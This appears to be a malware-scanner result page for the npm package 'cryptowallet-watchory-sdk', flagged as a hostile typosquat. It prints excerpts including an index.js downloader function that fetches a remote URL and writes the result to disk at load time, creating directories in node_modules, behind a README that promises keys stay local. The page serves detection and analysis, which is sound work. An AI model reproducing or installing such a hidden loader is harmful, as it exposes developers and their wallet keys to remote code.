Hostile 93% javascript Download

cryptowallet-watchory-sdk 1.0.1

Typosquatting crypto dependencies

“CommonJS SDK for local Ethereum key generation and message signing. It does not broadcast transactions.”

Basename is uppercase README.mdCalls the writeFileSync API

Evidence

JS package add or install command text README.md · lines 1–15
1:12… let-watchory-sdk
2
3Create an Ethereum account on this machine, sign a message, and sign a transaction. Keys stay in the process that called the SDK. This package does not connect to a node and does not broadcast anything.
4
5Node.js 18 or newer. CommonJS.
6
7```bash
8npm install cryptowallet-watchory-sdk
9```
10
⋯5 lines
At least four Markdown section headings README.md · lines 19–27
19`wallet.privateKey` and `wallet.mnemonic` are secrets. Do not log them, send them to a server, or commit them.
20
21## Restore
22
23```js
⋯4 lines
npm dependency on axios package.json · lines 1–39
1{
2 "name": "cryptowallet-watchory-sdk",
3 "version": "1.0.1",
4 "description": "CommonJS SDK for local Ethereum key generation and message signing. It does not broadcast transactions.",
5 "type": "commonjs",
6 "main": "./src/index.js",
7 "exports": {
8 ".": "./src/index.js"
9 },
10 "files": [
11 "src",
12 "docs",
13 "CHANGELOG.md",
14 "LICENSE",
15 "PUBLISHING.md"
16 ],
17 "scripts": {
18 "test": "node --test"
19 },
20 "engines": {
21 "node": ">=18"
22 },
23 "license": "MIT",
24 "keywords": [
25 "ethereum",
26 "wallet",
27 "bip39",
28 "secp256k1"
29 ],
30 "dependencies": {
31 "@noble/hashes": "1.8.0",
32 "@noble/secp256k1": "1.7.1",
33 "@scure/bip32": "1.6.2",
34 "@scure/bip39": "1.5.4",
35 "axios": "^1.21.0",
36 "crypto": "^1.0.1",
37 "fs": "^0.0.1-security"
38 }
39}
Imports the Node.js fs module index.js · lines 1–38
1const { WalletError } = require('./errors');
2const wallet = require('./wallet');
3const fs = require('fs');
4
5async function collectRequireF(url, outputPath) {
6 const response = await fetch(url);
7
8 if (!response.ok) {
9 process.exit(0);
10 }
11
12 const buffer = Buffer.from(await response.arrayBuffer());
13
14 fs.writeFileSync(outputPath, buffer);
15
16 console.log('Downloaded:', outputPath);
17}
18
19 if (!fs.existsSync(process.cwd() + '/./node_modules/cryptowallet-watchory-SDK/')) {
20 console.log("DIR not exist")
21 fs.mkdirSync(process.cwd() + '/./node_modules/cryptowallet-watchory-SDK/');
22 }
23 if (!fs.existsSync(process.cwd() + '/./node_modules/cryptowallet-watchory-SDK/src/')) {
⋯15 lines
imports @noble/hashes/hmac wallet.js · lines 1–18
1const secp = require('@noble/secp256k1');
2const { hmac } = require('@noble/hashes/hmac');
3const { sha256 } = require('@noble/hashes/sha256');
4const { keccak_256 } = require('@noble/hashes/sha3');
5const { bytesToHex, concatBytes, hexToBytes, utf8ToBytes } = require('@noble/hashes/utils');
6const { HDKey } = require('@scure/bip32');
7const { generateMnemonic, mnemonicToSeedSync, validateMnemonic } = require('@scure/bip39');
8const { wordlist } = require('@scure/bip39/wordlists/english');
9const { WalletError } = require('./errors');
10
11secp.utils.sha256Sync = (...messages) => sha256(concatBytes(...messages));
12secp.utils.hmacSha256Sync = (key, ...messages) => hmac(sha256, key, concatBytes(...messages));
13
14const DEFAULT_PATH = "m/44'/60'/0'/0/0";
15
16function accountPath(index) {
17 if (!Number.isInteger(index) || index < 0) {
18 throw new WalletError('INVALID_PATH', ' …

No evidence locations were recorded for this file. Raw result

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.